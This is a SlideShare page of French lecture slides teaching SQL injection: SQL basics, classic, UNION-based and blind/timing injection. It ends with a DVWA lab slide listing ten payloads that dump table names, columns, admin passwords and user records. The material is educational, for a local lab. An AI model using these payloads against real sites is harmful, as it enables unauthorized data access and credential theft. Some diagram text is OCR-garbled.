SlideShare une entreprise Scribd logo
1  sur  26
Attaque par injection SQL
1
Pr A. EL KSIMI
Plan
2
• SQL
• Injection SQL
• Injections SQL standards
• Injections SQL de requêtes UNION
• Injections SQL aveugles
SQL
3
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
– Récupération des données
– Insertion de nouvelles données
– Modification (mise à jours) des données existantes.
– Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
SQL
Pub_Id Pub_name
1 Springer
2 IEEE
book_Id title price
1002012 SQL injection 100 $
1012012 Internet Security 110 $
• Une base de données relationnelle contient en général une ou
plusieurs tables (liées ou pas) et qui sont identifiables par leurs
noms.
• Chaque table contient des colonnes et des enregistrements.
• En général les enregistrement sont identifiables en se basant sur
une ou plusieurs colonnes spécifiques qui sont les clés (index) de
la table.
4
SQL
5
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique
Vulnérabilité #1 Injection –Attaque -
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
tems
ices ies e
s
r
c
s v r
Sy Ser to R
y ec an
ac eb Dir m
eg W Hu
L
s
Billing
Custom Code
ON
APPLICATI
ATTACK
Network
Layer
Application
Layer
Accounts
tio e m
ac n g
s u m
m led o
an m C
r w -
T o o E
C Kn
ation
ns
n
Mgmt
erce
Bus.
Functions
HTTP
request

QL
ce tr icatio
an is S
Fin m
in
d que
A ry

DBT
able


HTTP
response


"SELECT * FROM accounts
WHERE acct=‘’ OR 1=1--’"
1.Application presents a form to
the attacker
2.Attacker sends an attack in the
form data
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
A
3. Application forwards attack to
the database in a SQL query
4. Database runs query
containing attack and sends
encrypted results back to
application
5.Application decrypts data
as normal and sends results
to the user
Account:
SKU:
cct:4128-0004-1234-0293
Account:
SKU:
6
Source: http://www.owasp.org/index.php/Top_10
Injection SQL
Injection SQL
7
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
8
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.
Injection SQL
• Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)
9
Injection SQL
• Types d’injection SQL:
– Injections SQL classiques
– Injections SQL de requêtes d’union
– Injections SQL aveugles
10
Injection SQL
Injection SQL
11
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD
• 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.
12
Injection SQL
Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs
Les hackers adorent les messages d’erreurs 
13
Injection SQL
Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »
Malheureusement, les applications web sont souvent
beaucoup moins bavardes 
« Heureusement », les techniques d’injection aveugle
existent
14
Injection SQL
Injections SQL standards
Requête SQL en arrière plan:
Une attaque possible:
Dans quelques systèmes, la 1ère ligne retournée par cette
requête correspond à un utilisateur administrateur!
15
Une requête SQL plus intelligente 
• Deux problèmes: les parenthèses et la fonction de hachage MD5!
• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien --
Syntax SQLcommentaire
16
Injections SQL standards
Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1
Solution:
Mais comment avoir les autres enregistrements?
Injections SQL standards
17
Injections SQL de requêtes UNION
e
Peut-on avoir accès aux données d’une table autre que cell
visée par la requête?
Solution: Utiliser l’opérateur d’union « UNION »
18
1 ' and 2=3 UNION SELECT
(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns
WHERE table_name='users'),1 #
Injections SQL aveugle
19
Comment détecter que la page est vulnérable?
Une page web http://newspaper.com/items.php?id=2
Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2
Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2
Pas de réponse!
=> Potentiellement vulnérable
Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1
La même réponse que http://newspaper.com/items.php?id=2
=> Surement vulnérable
On a de la chance! On sait faire la différence entre une
réponse valide et une réponse non valide!
20
Soit la requête exécutée en arrière plan:
Approche: Changer le codeASCII jusqu’à l’obtention d’un
résultat => passer au caractère suivant
Injections SQL aveugle
Quelques fonctions utilisées:
• SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère
débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est
supérieure à la longueur du texte, la fonction retourne la valeur nulle.
• ASCII (char): retourne le codeASCII du caractère en paramètre « char ». Si le
caractère est 0, la valeur null est retournée.
• LENGTH (text):donne la longueur en nombre de caractères de la chaine en
paramètre « text».
21
Injections SQL aveugle
Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:
• Injection de SELECT IF(expression, op1, op2)
• Si expression est évaluée à true alors op1 s’exécute
• BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute
5000000 fois la fonction ENCODE.
• En fonction de la performance du SGBDR et de sa charge, les
répétitions devrait influencer le temps de réponse du serveur
Injections SQL aveugle
22
Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant
présumerait que le premier caractère du password pour user_id = 1 est
effectivement le caractère ‘2’.
Example d’utilisation:
1 UNION SELECT IF
(SUBSTRING(user_passord,1,1) = CHAR(50),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),
null)
FROM users WHERE user_id = 1;
Outils
SQLDumper: Outil automatique
23
Chamseddine Talhi, ÉTS
Test Injection SQL
24
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
Références
25
• http://dev.mysql.com/doc/refman/5.6/en/sq
l-syntax.html
29

Contenu connexe

Similaire à injection sql for cybersecurity studentsss.pptx

Similaire à injection sql for cybersecurity studentsss.pptx (20)

Le langage sql
Le langage sqlLe langage sql
Le langage sql
 
Le langage sql
Le langage sqlLe langage sql
Le langage sql
 
Azure Camp 9 Décembre - slides session développeurs webmedia
Azure Camp 9 Décembre - slides session développeurs webmediaAzure Camp 9 Décembre - slides session développeurs webmedia
Azure Camp 9 Décembre - slides session développeurs webmedia
 
Injection sql
Injection sqlInjection sql
Injection sql
 
Introduction nosql
Introduction nosqlIntroduction nosql
Introduction nosql
 
Rencontre mensuelle Montreal - juillet 2012 - kerberos
Rencontre mensuelle Montreal - juillet 2012 - kerberosRencontre mensuelle Montreal - juillet 2012 - kerberos
Rencontre mensuelle Montreal - juillet 2012 - kerberos
 
Les02.ppt
Les02.pptLes02.ppt
Les02.ppt
 
GSI_Chap4-BTS-requêtes_2016
GSI_Chap4-BTS-requêtes_2016GSI_Chap4-BTS-requêtes_2016
GSI_Chap4-BTS-requêtes_2016
 
Presentation du SGBD Oracle DATABASE.pptx
Presentation du SGBD Oracle DATABASE.pptxPresentation du SGBD Oracle DATABASE.pptx
Presentation du SGBD Oracle DATABASE.pptx
 
Les attaques par injection sql
Les attaques par injection sqlLes attaques par injection sql
Les attaques par injection sql
 
Drupal7 - Bonnes Pratiques (Partie 1)
Drupal7 - Bonnes Pratiques (Partie 1)Drupal7 - Bonnes Pratiques (Partie 1)
Drupal7 - Bonnes Pratiques (Partie 1)
 
Java Entreprise Edition
Java Entreprise EditionJava Entreprise Edition
Java Entreprise Edition
 
Language INtegrated Query LINQ
 Language INtegrated QueryLINQ Language INtegrated QueryLINQ
Language INtegrated Query LINQ
 
Base de donnees Avancees et Intro à NoSQL.ppt
Base de donnees Avancees et Intro à  NoSQL.pptBase de donnees Avancees et Intro à  NoSQL.ppt
Base de donnees Avancees et Intro à NoSQL.ppt
 
22462A_01.pptx
22462A_01.pptx22462A_01.pptx
22462A_01.pptx
 
architectureNTiers.pdf
architectureNTiers.pdfarchitectureNTiers.pdf
architectureNTiers.pdf
 
Sql
SqlSql
Sql
 
Workshop Spring - Session 1 - L'offre Spring et les bases
Workshop Spring  - Session 1 - L'offre Spring et les basesWorkshop Spring  - Session 1 - L'offre Spring et les bases
Workshop Spring - Session 1 - L'offre Spring et les bases
 
Deep Dive Performance , le In-Memory dans SQL Server
Deep Dive Performance , le In-Memory dans SQL ServerDeep Dive Performance , le In-Memory dans SQL Server
Deep Dive Performance , le In-Memory dans SQL Server
 
La plateforme JEE
La plateforme JEELa plateforme JEE
La plateforme JEE
 

Dernier

conception d'un batiment r+4 comparative de defferente ariante de plancher
conception d'un  batiment  r+4 comparative de defferente ariante de plancherconception d'un  batiment  r+4 comparative de defferente ariante de plancher
conception d'un batiment r+4 comparative de defferente ariante de plancher
mansouriahlam
 

Dernier (7)

optimisation logistique MLT_231102_155827.pdf
optimisation logistique  MLT_231102_155827.pdfoptimisation logistique  MLT_231102_155827.pdf
optimisation logistique MLT_231102_155827.pdf
 
firefly algoriyhm sac a dos step by step .pdf
firefly algoriyhm sac a dos step by step .pdffirefly algoriyhm sac a dos step by step .pdf
firefly algoriyhm sac a dos step by step .pdf
 
Présentation_Soirée-Information_ Surverse_Thibert _30 avril 2024
Présentation_Soirée-Information_ Surverse_Thibert _30 avril 2024Présentation_Soirée-Information_ Surverse_Thibert _30 avril 2024
Présentation_Soirée-Information_ Surverse_Thibert _30 avril 2024
 
comprehension de DDMRP dans le domaine de gestion
comprehension de DDMRP dans le domaine de gestioncomprehension de DDMRP dans le domaine de gestion
comprehension de DDMRP dans le domaine de gestion
 
conception d'un batiment r+4 comparative de defferente ariante de plancher
conception d'un  batiment  r+4 comparative de defferente ariante de plancherconception d'un  batiment  r+4 comparative de defferente ariante de plancher
conception d'un batiment r+4 comparative de defferente ariante de plancher
 
JTC 2024 Bâtiment et Photovoltaïque.pdf
JTC 2024  Bâtiment et Photovoltaïque.pdfJTC 2024  Bâtiment et Photovoltaïque.pdf
JTC 2024 Bâtiment et Photovoltaïque.pdf
 
Algo II: les files cours + exercices corrigés
Algo II: les files cours + exercices corrigésAlgo II: les files cours + exercices corrigés
Algo II: les files cours + exercices corrigés
 

injection sql for cybersecurity studentsss.pptx

  • 1. Attaque par injection SQL 1 Pr A. EL KSIMI
  • 2. Plan 2 • SQL • Injection SQL • Injections SQL standards • Injections SQL de requêtes UNION • Injections SQL aveugles
  • 3. SQL 3 • SQL signifie Structured Query Language – Langage utilisé pour accéder / communiquer avec bases de données • Langages standards ANSI et ISO • Les instructions SQL peuvent effectuer les tâches suivantes sur une base de données (BD): – Récupération des données – Insertion de nouvelles données – Modification (mise à jours) des données existantes. – Suppression des enregistrements • Plusieurs standards, plusieurs produits BD: – Les mêmes principaux mots clés pour les requêtes (SELECT, UPDATE, INSERT…etc.) – Chaque BD peut avoir ses propres extensions propriétaires
  • 4. SQL Pub_Id Pub_name 1 Springer 2 IEEE book_Id title price 1002012 SQL injection 100 $ 1012012 Internet Security 110 $ • Une base de données relationnelle contient en général une ou plusieurs tables (liées ou pas) et qui sont identifiables par leurs noms. • Chaque table contient des colonnes et des enregistrements. • En général les enregistrement sont identifiables en se basant sur une ou plusieurs colonnes spécifiques qui sont les clés (index) de la table. 4
  • 5. SQL 5 • SQL Data Definition Language (DDL) – Permet de construire la base de données en créant ou supprimant des tables, spécifier les index des tables, les liens et/ou contraintes entre tables, etc. – Exemple CREATE TABLE, ALTER TABLE, DROP TABLE. • SQL Data Manipulation Language (DML) – Manipuler les données dans la base de données • Presque toutes les bases de données SQL se basent sur le modèle relationnelle des données: – SGBDR: Système de Gestion de Bases de Données Relationnelles – Les métadonnées, qui sont les données sur la base de données, doivent être stockeés dans la base de données elle-même avec les données utilisateur – Par conséquent, la structure de base de données peut aussi être lue et modifié avec des requêtes SQL. => Critique
  • 6. Vulnérabilité #1 Injection –Attaque - Firewall Hardened OS Web Server App Server Firewall Databases tems ices ies e s r c s v r Sy Ser to R y ec an ac eb Dir m eg W Hu L s Billing Custom Code ON APPLICATI ATTACK Network Layer Application Layer Accounts tio e m ac n g s u m m led o an m C r w - T o o E C Kn ation ns n Mgmt erce Bus. Functions HTTP request  QL ce tr icatio an is S Fin m in d que A ry  DBT able   HTTP response   "SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’" 1.Application presents a form to the attacker 2.Attacker sends an attack in the form data Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 A 3. Application forwards attack to the database in a SQL query 4. Database runs query containing attack and sends encrypted results back to application 5.Application decrypts data as normal and sends results to the user Account: SKU: cct:4128-0004-1234-0293 Account: SKU: 6 Source: http://www.owasp.org/index.php/Top_10 Injection SQL
  • 7. Injection SQL 7 • La capacité d'injecter des commandes SQL dans le moteur de base de données grâce à une application existante • Causes des injections SQL : – Une requête SQL générée en composant « naïvement » les données reçues des utilisateurs d’une application. – Aucune vérification n’est effectuée sur les données OU – Vérification médiocre
  • 8. 8 • Les objectifs des injections SQL peuvent être multiples: – Accéder à des données auxquelles on ne devrait pas avoir accès, – Modifier des données, – Effacer des données, – Lire/écrire sur le système de fichier, – Exécuter des commandes systèmes. Injection SQL
  • 9. • Préparation de l’attaque: – Identifier des paramètres injectables – Identifier le type et la version du SGBDR – Déterminer le schéma de la base de données (noms de table, noms de colonne, types de données des colonnes…etc.) 9 Injection SQL
  • 10. • Types d’injection SQL: – Injections SQL classiques – Injections SQL de requêtes d’union – Injections SQL aveugles 10 Injection SQL
  • 11. Injection SQL 11 • 1ère étape: Comprendre quand l’application se connecte à un serveur de base de données. • Exemples typiques de connexion à une BD: o Formulaires d'authentification: il ya des chances que les informations d'identification sont comparées à une BD qui contient tous les noms d'utilisateur et mots de passe o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent être utilisées dans une requête SQL qui extrait tous les documents pertinents à partir d'une BD o Sites de commerce électronique: les produits et leurs caractéristiques (prix, description, disponibilité, ...) sont très susceptibles d'être stockés dans une BD
  • 12. • 2ère étape: Préparer une liste de tous les champs de saisie dont les valeurs pourraient être utilisées dans l'élaboration d'une requête SQL. • Stratégie gagnante: Tester chaque champ séparément alors que les valeurs de toutes les autres variables doivent rester constantes. • Permet d’identifier avec précision les paramètres qui sont vulnérables et ceux qui ne le sont pas. • Essayer d’interférer avec la requête et provoquer la génération d’erreurs. 12 Injection SQL
  • 13. Comment détecter la présence de vulnérabilités? • D’abord tester les injections classiques! • Test de base: • Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test o (') : utilisée comme une marque de fin de chaîne de caractères dans une instruction SQL. o (;) : utilisé pour marquer la fin d’une instruction SQL. • En l’absence de filtres, ces caractères peuvent mener à l’exécution de requêtes incorrectes et/ou générer des erreurs Les hackers adorent les messages d’erreurs  13 Injection SQL
  • 14. Comment détecter la présence de vulnérabilités? Messages d’erreurs « généreux » Malheureusement, les applications web sont souvent beaucoup moins bavardes  « Heureusement », les techniques d’injection aveugle existent 14 Injection SQL
  • 15. Injections SQL standards Requête SQL en arrière plan: Une attaque possible: Dans quelques systèmes, la 1ère ligne retournée par cette requête correspond à un utilisateur administrateur! 15
  • 16. Une requête SQL plus intelligente  • Deux problèmes: les parenthèses et la fonction de hachage MD5! • Solutions o Les parenthèses: On s’arranger pour les respecter o MD5: On s’arranger pour que SQL l’ignore tout simplement! /* ou bien # ou bien -- Syntax SQLcommentaire 16 Injections SQL standards
  • 17. Problème: Parfois, le code d'authentification vérifie que le nombre d’enregistrements retournés est exactement égal à 1 Solution: Mais comment avoir les autres enregistrements? Injections SQL standards 17
  • 18. Injections SQL de requêtes UNION e Peut-on avoir accès aux données d’une table autre que cell visée par la requête? Solution: Utiliser l’opérateur d’union « UNION » 18 1 ' and 2=3 UNION SELECT (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),1 #
  • 19. Injections SQL aveugle 19 Comment détecter que la page est vulnérable? Une page web http://newspaper.com/items.php?id=2 Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2 Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2 Pas de réponse! => Potentiellement vulnérable Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1 La même réponse que http://newspaper.com/items.php?id=2 => Surement vulnérable On a de la chance! On sait faire la différence entre une réponse valide et une réponse non valide!
  • 20. 20 Soit la requête exécutée en arrière plan: Approche: Changer le codeASCII jusqu’à l’obtention d’un résultat => passer au caractère suivant Injections SQL aveugle
  • 21. Quelques fonctions utilisées: • SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est supérieure à la longueur du texte, la fonction retourne la valeur nulle. • ASCII (char): retourne le codeASCII du caractère en paramètre « char ». Si le caractère est 0, la valeur null est retournée. • LENGTH (text):donne la longueur en nombre de caractères de la chaine en paramètre « text». 21 Injections SQL aveugle
  • 22. Mais si la page web est vraiment opaque!!! Timing attack : des fonctions qui consomment du temps! Example: combiner: • Injection de SELECT IF(expression, op1, op2) • Si expression est évaluée à true alors op1 s’exécute • BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute 5000000 fois la fonction ENCODE. • En fonction de la performance du SGBDR et de sa charge, les répétitions devrait influencer le temps de réponse du serveur Injections SQL aveugle 22 Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant présumerait que le premier caractère du password pour user_id = 1 est effectivement le caractère ‘2’. Example d’utilisation: 1 UNION SELECT IF (SUBSTRING(user_passord,1,1) = CHAR(50), BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')), null) FROM users WHERE user_id = 1;
  • 24. Test Injection SQL 24 http://127.0.0.1/dvwa/index.php admin, password %%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1+1 ou bien 1%2b1 %%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' or 1=1 # %%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and '1'='2' # %%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and '1'='2' union select 1 # 1 ' and 1=2 union select 1,2 # %%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select database(),user() # %%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_schema=database()),1 # %%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and table_schema !='information_schema'),1 # %%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 # %%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select password from users where first_name='admin'),1 # %%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name, 0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
  • 26. 29